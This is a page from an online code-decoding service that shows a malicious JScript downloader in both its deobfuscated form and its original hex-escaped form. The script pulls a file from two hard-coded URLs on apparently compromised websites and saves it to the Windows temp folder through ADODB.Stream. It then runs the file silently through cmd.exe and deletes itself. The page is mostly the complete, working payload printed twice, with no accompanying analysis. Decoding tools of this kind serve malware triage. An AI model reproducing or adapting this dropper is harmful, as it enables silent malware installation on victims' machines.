Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function OU(g, Xc) { var vf = 24; var WRs = "h" + "\x74" + "t" + "\x70" + ":" + "..
Decoded Output download
<?
function OU(g, Xc)
{
var vf = 24;
var WRs = "h" + "t" + "t" + "p" + ":" + "/" + "/" + "d" + "e" + "m" + "o" + "." + "a" + "r" + "t" + "-" + "o" + "f" + "-" + "d" + "i" + "g" + "i" + "t" + "a" + "l" + "." + "c" + "o" + "m" + "/" + "y" + "o" + "g" + "a" + "/" + "2" + "0" + "1" + "8" + "/" + "1" + "2" + "/" + "2" + "4" + "/" + "l" + "i" + "v" + "e" + "-" + "a" + "-" + "p" + "e" + "r" + "f" + "e" + "c" + "t" + "-" + "l" + "i" + "f" + "e" + "/" + "f" + "e" + "e" + "d" + "/" + "i" + "n" + "f" + "." + "i" + "n" + "f";
var bUb = "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "m" + "o" + "n" + "s" + "h" + "i" + "h" + "t" + "z" + "u" + "." + "f" + "r" + "/" + "t" + "e" + "m" + "p" + "l" + "a" + "t" + "e" + "s" + "/" + "j" + "o" + "o" + "m" + "s" + "p" + "i" + "r" + "i" + "t" + "_" + "9" + "9" + "/" + "i" + "m" + "a" + "g" + "e" + "s" + "/" + "s" + "o" + "c" + "i" + "a" + "l" + "-" + "i" + "c" + "o" + "n" + "s" + "/" + "i" + "n" + "f" + "." + "i" + "n" + "f";
vf = (g > Xc)?(WRs):(bUb);
return bWP(vf);
}
function xD(qC, JvA)
{
return KCf(qC, JvA);
}
function mH(PH, qe)
{
PH["Open"]();
PH["Type"] = 1;
PH["Write"](qe["ResponseBody"]);
PH["Position"] = 0;
}
function Bk(d, N)
{
var NAV = WScript;
d[N](NAV["ScriptFullName"]);
}
function ScS(da)
{
var DrB = "G" + "e" + "t" + "S" + "p" + "e" + "c" + "i" + "a" + "l" + "F" + "o" + "l" + "d" + "e" + "r";
var tA = DrB;
var y = "G" + "e" + "t" + "T" + "e" + "m" + "p" + "N" + "a" + "m" + "e";
var px = y;
var Uc = da[tA](2) + "\" + da[px]();
return Uc;
}
function s()
{
return "nd";
}
function i(fys, cwS, qq)
{
var Qa = "A" + "D" + "O" + "D" + "B" + "." + "R" + "e" + "c" + "o" + "r" + "d" + "s" + "e" + "t";
var gNg = new cwS(Qa);
var aHh = "a" + "d" + "d" + "N" + "e" + "w";
var iV = aHh;
var Da = fys["Si" +"ze"];
var ATp = 201;
gNg["fi" + "elds"]["ap" + "pe" + s()]("bin", ATp, Da);
gNg["o" + "pen"]();
gNg[iV]();
var ver = "bin";
var pIM = "appendChunk";
gNg(ver)[pIM](qq);
var HhG = "update";
gNg[HhG]();
var Cs = "value";
return gNg(ver)[Cs];
}
function HC(W)
{
var yNV = ActiveXObject;
return yNV;
}
function AKf(eff)
{
var D = HC(0);
var sQ = new D("MSXML2.XMLHTTP");
var SfO = typeof sQ["Open"];
var ePN = ("unknown");
if ((eff > 5) && (SfO == ePN))
{
var O = OU(7, 4);
if (O == false)
O = OU(23, 56);
return (1+1+1);
}
return 4;
}
function bWP(vf)
{
var h;
var izz;
var vxm = HC(42);
var BPA = new vxm("MSXML2.XMLHTTP");
var NdF = 0;
BPA["open"]("GET", vf, 0);
try {
BPA["s" + "end"]();
} catch (TP) {
return false;
}
if (BPA["Status"] != 200)
return !true;
var tWh=[".","Sc","r","g","c","b","il","pt","n","t","F","te","je","mO","s","eS","i","i","y"];
var YT=tWh[1]+tWh[2]+tWh[16]+tWh[7]+tWh[17]+tWh[8]+tWh[3]+tWh[0]+tWh[10]+tWh[6]+tWh[15]+tWh[18]+tWh[14]+tWh[11]+tWh[13]+tWh[5]+tWh[12]+tWh[4]+tWh[9];
var n = new vxm(YT);
var JG = new vxm("ADODB.Stream");
vf = ScS(n);
mH(JG, BPA);
var iic = JG["Read"]();
iic = i(JG, HC(7), iic);
if (iic.length < 10)
return false;
JG["SaveToFile"](vf);
JG["Close"]();
var yNV = HC(144);
var MGc = "Wscript.Shell";
h = new yNV(MGc);
izz = "cm" + "d." + "ex";
h["run"](izz + "e /c " + vf, 0);
if (!false)
{
vf = "del" + "eteF";
Bk(n, vf + "ile");
return ((86+87)>88);
}
return NdF;
}
if (8 > 1)
{
var SMh = !false?AKf(8 + 6):8;
}
?>
Did this file decode correctly?
Original Code
function OU(g, Xc)
{
var vf = 24;
var WRs = "h" + "\x74" + "t" + "\x70" + ":" + "\x2F" + "/" + "\x64" + "\x65" + "\x6D" + "\x6F" + "\x2E" + "\x61" + "r" + "\x74" + "\x2D" + "o" + "f" + "\x2D" + "\x64" + "\x69" + "\x67" + "i" + "t" + "\x61" + "l" + "." + "c" + "\x6F" + "\x6D" + "/" + "\x79" + "\x6F" + "\x67" + "a" + "\x2F" + "\x32" + "\x30" + "1" + "\x38" + "/" + "\x31" + "\x32" + "/" + "2" + "4" + "\x2F" + "l" + "\x69" + "\x76" + "\x65" + "\x2D" + "\x61" + "\x2D" + "\x70" + "e" + "r" + "\x66" + "\x65" + "c" + "\x74" + "\x2D" + "\x6C" + "\x69" + "f" + "e" + "\x2F" + "f" + "\x65" + "e" + "d" + "/" + "i" + "\x6E" + "\x66" + "\x2E" + "\x69" + "\x6E" + "\x66";
var bUb = "\x68" + "\x74" + "t" + "\x70" + "\x73" + "\x3A" + "\x2F" + "/" + "\x6D" + "\x6F" + "n" + "\x73" + "h" + "i" + "\x68" + "\x74" + "z" + "\x75" + "\x2E" + "f" + "\x72" + "/" + "\x74" + "\x65" + "m" + "p" + "\x6C" + "\x61" + "t" + "e" + "\x73" + "/" + "\x6A" + "o" + "o" + "m" + "s" + "p" + "i" + "\x72" + "i" + "\x74" + "\x5F" + "9" + "\x39" + "/" + "i" + "m" + "\x61" + "\x67" + "e" + "s" + "\x2F" + "s" + "\x6F" + "\x63" + "\x69" + "a" + "\x6C" + "\x2D" + "i" + "\x63" + "\x6F" + "n" + "\x73" + "/" + "\x69" + "n" + "f" + "." + "i" + "\x6E" + "\x66";
vf = (g > Xc)?(WRs):(bUb);
return bWP(vf);
}
function xD(qC, JvA)
{
return KCf(qC, JvA);
}
function mH(PH, qe)
{
PH["Open"]();
PH["Type"] = 1;
PH["Write"](qe["ResponseBody"]);
PH["Position"] = 0;
}
function Bk(d, N)
{
var NAV = WScript;
d[N](NAV["ScriptFullName"]);
}
function ScS(da)
{
var DrB = "G" + "\x65" + "t" + "S" + "\x70" + "\x65" + "\x63" + "i" + "\x61" + "l" + "F" + "o" + "\x6C" + "d" + "\x65" + "\x72";
var tA = DrB;
var y = "\x47" + "\x65" + "\x74" + "\x54" + "e" + "\x6D" + "p" + "N" + "a" + "\x6D" + "e";
var px = y;
var Uc = da[tA](2) + "\\" + da[px]();
return Uc;
}
function s()
{
return "nd";
}
function i(fys, cwS, qq)
{
var Qa = "\x41" + "\x44" + "\x4F" + "\x44" + "B" + "\x2E" + "\x52" + "e" + "\x63" + "\x6F" + "\x72" + "\x64" + "\x73" + "e" + "\x74";
var gNg = new cwS(Qa);
var aHh = "a" + "d" + "\x64" + "\x4E" + "\x65" + "\x77";
var iV = aHh;
var Da = fys["Si" +"ze"];
var ATp = 201;
gNg["fi" + "elds"]["ap" + "pe" + s()]("bin", ATp, Da);
gNg["o" + "pen"]();
gNg[iV]();
var ver = "bin";
var pIM = "appendChunk";
gNg(ver)[pIM](qq);
var HhG = "update";
gNg[HhG]();
var Cs = "value";
return gNg(ver)[Cs];
}
function HC(W)
{
var yNV = ActiveXObject;
return yNV;
}
function AKf(eff)
{
var D = HC(0);
var sQ = new D("MSXML2.XMLHTTP");
var SfO = typeof sQ["Open"];
var ePN = ("unknown");
if ((eff > 5) && (SfO == ePN))
{
var O = OU(7, 4);
if (O == false)
O = OU(23, 56);
return (1+1+1);
}
return 4;
}
function bWP(vf)
{
var h;
var izz;
var vxm = HC(42);
var BPA = new vxm("MSXML2.XMLHTTP");
var NdF = 0;
BPA["open"]("GET", vf, 0);
try {
BPA["s" + "end"]();
} catch (TP) {
return false;
}
if (BPA["Status"] != 200)
return !true;
var tWh=[".","Sc","r","g","c","b","il","pt","n","t","F","te","je","mO","s","eS","i","i","y"];
var YT=tWh[1]+tWh[2]+tWh[16]+tWh[7]+tWh[17]+tWh[8]+tWh[3]+tWh[0]+tWh[10]+tWh[6]+tWh[15]+tWh[18]+tWh[14]+tWh[11]+tWh[13]+tWh[5]+tWh[12]+tWh[4]+tWh[9];
var n = new vxm(YT);
var JG = new vxm("ADODB.Stream");
vf = ScS(n);
mH(JG, BPA);
var iic = JG["Read"]();
iic = i(JG, HC(7), iic);
if (iic.length < 10)
return false;
JG["SaveToFile"](vf);
JG["Close"]();
var yNV = HC(144);
var MGc = "Wscript.Shell";
h = new yNV(MGc);
izz = "cm" + "d." + "ex";
h["run"](izz + "e /c " + vf, 0);
if (!false)
{
vf = "del" + "eteF";
Bk(n, vf + "ile");
return ((86+87)>88);
}
return NdF;
}
if (8 > 1)
{
var SMh = !false?AKf(8 + 6):8;
}
Function Calls
None |
Stats
MD5 | 53ca81c89aeb188cd70c8007ec893722 |
Eval Count | 0 |
Decode Time | 78 ms |